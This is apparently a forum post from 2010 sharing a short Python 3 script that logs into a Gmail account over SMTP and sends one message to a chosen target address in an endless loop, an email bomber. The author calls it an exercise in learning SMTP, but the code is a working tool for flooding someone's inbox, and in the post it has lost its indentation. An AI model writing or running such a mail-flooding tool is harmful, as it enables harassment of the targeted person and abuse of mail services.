Sway
Ruby and Python are married.
- Dec 19, 2010
- 194
- 76
I wrote this script because I wanted to learn more how all of this SMPT stuff works. It basically allows you to send infinite e-mails (or at least until it crashes) to a specific e-mail address. You must first enter your gmail information.
Python 3.x:
Code:
Thanks.
Python 3.x:
You must be registered for see links
Code:
Code:
import smtplib, getpass
email = input("email>")
pwd = getpass.getpass("pwd>")
#connection to gmail
o = smtplib.SMTP("smtp.gmail.com:587")
o.starttls()
o.login(email, pwd)
print("--" * 40)
msg = (input("msg>"))
target_email = input("target e-mail>")
#send the message until the program crashes
while True:
o.sendmail(email, target_email, msg)
print()
print("Message sent.")
Thanks.
Last edited: